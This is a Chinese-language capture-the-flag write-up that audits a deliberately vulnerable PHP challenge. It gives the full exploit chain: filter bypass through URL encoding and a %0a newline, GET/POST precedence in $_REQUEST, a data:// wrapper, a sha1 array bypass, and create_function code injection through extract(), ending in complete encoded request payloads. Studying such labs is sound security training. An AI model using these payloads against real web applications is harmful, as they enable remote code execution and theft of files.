看源码 base32 1nD3x.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
代码审计
preg_match('', $_SERVER['QUERY_STRING'])
$_SERVER[‘QUERY_STRING’] 不会进行 URLDecode,而 $_GET会,所以只要把正则里能匹配到的字符进行 url 编码即可绕过
(preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')
debu传参,需要满足正则和!== debu要是aqua_is_cute开头和结尾,又不能完全为aqua_is_cute,%0a换行污染
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST需要满足传参的值不能有字母 由于之前接收的参数为$_GET,而这儿接收的参数为$_REQUEST,所以我们只需要POST一些相同的参数,覆盖掉$_GET的参数就行了,这是因为$_REQUEST的解析是有一定顺序的,应该是先解析$_GET,再解析$_POST,这样我们就能绕过这个点 php.ini里有这样一段
;略
variables_order = “GPCS”
; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"
variables_order = “GPCS”
默认的优先级 ENV<GET<POST<COOKIE<SERVER
此指令确定哪些超级全局数据(G P C)应注册到超级全局数组 REQUEST 中。如果是这样,它还决定了数据注册的顺序。此指令的值以与 variables_order 指令相同的方式指定,只有一个除外。将此值保留为空将导致 PHP 使用 variables order 指令中设置的值。这并不意味着它会让 super globals 数组请求为空。
request_order = “GP”
request 的顺序:GET<POST
这就意味着我们可以通过get和post的优先级来绕过$_REQUEST 因为上面的file和debu都是通过$GET接收的,所以此处通过POST同名参数覆盖掉$ REQUEST里的GET值就能绕过 举例
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
$file 变量可控,但是没有也无法知道任何一个本地文件的内容是debu_debu_aqua,正则匹配了http/https又无法远程文件包含。 所以需要构造出一个 $file,使 file_get_contents() 返回题目要的字符串。 data:// 伪协议使用方法如下:
data://text/plain, debu_debu_aqua
data://text/plain;base64, ZGVidV9kZWJ1X2FxdWE=
if(sha1($shana) === sha1($passwd) && $shana != $passwd)
直接数组绕过就行了 shana[]=1&passwd[]=2 先给出以上的payload,
?file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
有一个小坑就是要清一下题目的cookie 虽然大部分wp都是直接post就好了 ,但是我开了两次环境都一样
可以看到本地测试是没问题的
但是放在环境里却是
删除后再用hackbar发送就好了
然后就是最后一个绕过 因为判断sha1成功时会调用一个函数 extract($_GET[“flag”]); 将数值的键值对转换成变量名和变量 就像这样 拿flag时就要利用到create_function函数了,这里题目的arg和code也算一个hint了 创建一个匿名函数,create_function函数的参数刚好是$arg和$code
还有另一个函数,因为题目已经写了include “flag.php”;所以通过输出所有变量来达到拿flag的目的
$flag['a']="create_function";
$flag['b']='}var_dump(get_defined_vars());//';
‘}’闭合function的‘{’,‘;//‘注释后面的’}‘形成一个完整的rce
该编码的还是得编码 ?file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
又是一个假的flag
flag在rea1fl4g.php 由于过滤了单引号,双引号 可以包含rea1fl4g.php
require(base64_decode(cmVhMWZsNGcucGhw));
include(base64_decode(cmVhMWZsNGcucGhw));
这题的环境里include包含不了(没有写过滤,虽然原题的有过滤include的) 利用require ?file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function 假的,但是完全是真的
|